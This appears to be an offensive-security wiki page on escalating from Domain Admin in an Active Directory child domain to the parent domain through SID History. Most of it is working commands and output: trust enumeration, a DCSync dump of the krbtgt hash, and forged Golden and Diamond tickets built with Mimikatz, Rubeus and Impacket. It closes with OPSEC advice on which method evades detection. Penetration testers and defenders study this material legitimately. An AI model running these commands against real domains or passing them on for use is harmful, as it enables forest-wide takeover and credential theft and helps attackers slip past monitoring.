Skip to main content

Child/Parent Trust Abuse

Parent-Child Trust Abuse

Whenever a child domain (child.domain.com) is added to a forest, the event automatically creates a transitive and bidirectional trust with the parent domain (domain.com).

PS C:\users\otter\desktop> Get-ADTrust -Filter *

Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=domain.com,CN=System,DC=child,DC=domain,DC=com
ForestTransitive        : False
IntraForest             : True
IsTreeParent            : False
IsTreeRoot              : False
Name                    : domain.com
ObjectClass             : trustedDomain
ObjectGUID              : c8005918-3c50-4c33-bcaa-90c76f46561c
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=child,DC=domain,DC=com
Target                  : domain.com
TGTDelegation           : False
TrustAttributes         : 32
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False

Other commands we can use to check the available trusts are

  1. Get-DomainTrust
  2. nltest /domain_trusts
  3. ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

In the output

  • Source is the child domain, in this case child.domain.com
  • Target is the parent domain, domain.com

and as we can see the trust is BiDirectional and the IntraForest field is set to True so we can safely say this is a Child/Parent trust.

The gist of the trust abuse is the following: if we have Domain Admin privileges in the child domain, we can easily get Domain Admin on the parent domain as well. This technique abuses a TGT attribute called SID History which is a legitimate attribute that was designed to handle the transition of a user from a domain to another: to make sure the moved user maintained access to the previous domain even after being moved to the second one, the user's old SID would be added to the SID History attribute of their account. More on SID History here. In the context of forest trust abuse we can create a ticket.

There are two main ways to (ab)use this kind of trust:

  1. Golden Ticket
  2. Diamond Ticket

Golden Ticket Method

First of all we need the SID for the Domain Admins group of both domains, this information can be obtained in a number of ways:

  • Powershell
PS C:\users\otter\desktop> Get-DomainGroup -Identity "Domain Admins" -Domain domain.com -Properties ObjectSid
  • Mimikatz
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::trust /patch

Current domain: CHILD.DOMAIN.COM (LAB / S-1-5-21-2241985869-2159962460-1278545866)

Domain: DOMAIN.COM (TRUSTED / S-1-5-21-3576695518-347000760-3731839591)
 [  In ] CHILD.DOMAIN.COM -> DOMAIN.COM

...
  • Impacket
~ ∮ lookupsid.py child.domain.com/administrator@child.domain.com -hashes ':fe23a3b3cf1ebb0d2c0aaf1f849db444'

...

[*] Brute forcing SIDs at child.domain.com
[*] StringBinding ncacn_np:child.domain.com[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-313048783-3898072970-1408672677
500: CHILD\Administrator (SidTypeUser)
...
  • Bloodhound (DOMAIN-SID attribute of a DOMAIN node)

Now we need the NTLM or AES256 hash of the krbtgt user for the child domain, we can get this with secretsdump, donpapi, nxc or mimikatz

mimikatz # lsadump::dcsync /domain:child.domain.com /all
...

** SAM ACCOUNT **

SAM Username         : krbtgt
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Object Security ID   : S-1-5-21-2241985869-2159962460-1278545866-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: c7a03c565c68c6fac5f8913fab576ebd

...

With this information we are ready to request a Golden Ticket

  • Rubeus
PS C:\users\otter\desktop> Rubeus.exe golden /aes256:<AES256_HMAC> /user:Administrator /domain:child.domain.com /sid:<CHILD_DOMAIN_SID> /sids:<PARENT_DOMAIN_SID>-512 /nowrap
  • Mimikatz
mimikatz # kerberos::golden /user:Administrator /krbtgt:<KRBTGT_RC4_HASH> /domain:child.domain.com /sid:
<CHILD_DOMAIN_SID> /sids:<PARENT_DOMAIN_SID>-519 /ptt
  • Impacket following this guide
~ ∮ ticketer.py -domain child.domain.com -domain-sid <CHILD_DOMAIN_SID> -nthash <KRBTGT_RC4_HASH> -user-id 500 -extra-sid <PARENT_DOMAIN_SID>-519 -extra-pac -duration 1 Administrator

Impacket also has the raiseChild.py script which automates the golden ticket process (from aleid.com)

This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.

Diamond Ticket

The requirements for the Diamond Ticket method are the similar as the golden ticket one: both domain SIDs and the AES256 hash of the krbtgt account.

  • Rubeus
PS C:\users\otter\desktop> Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:<PARENT_DOMAIN_SID>-519 /krbkey:<KRBTGT_AES256_HASH> /nowrap
  • Impacket
~ ∮ ticketer.py -request -domain child.domain.com -user 'Administrator' -nthash 'krbtgt/<KRBTGT_RC4_HASH>' -aesKey 'krbtgt/<KRBTGT_AES256_HASH>' -domain-sid '<CHILD_DOMAIN_SID> -extra-sid <PARENT_DOMAIN_SID> -user-id '500' -groups '512,513,518,519,520' 'Administrator'

OPSEC Considerations

From a OPSEC standpoint, Golden tickets can be easily detected both by monitoring for DCSync attacks (which are required to get the RC4 hash for the krbtgt user) and TGS requests that have no matching TGT request.

Diamond tickets are more likely to go undetected as we can request a valid TGT before using the resulting TGS; moreover, since diamond tickets are created directly on the DC, some details of the ticket are more likely to be correct by default (one example is ticket creation time).

Back to top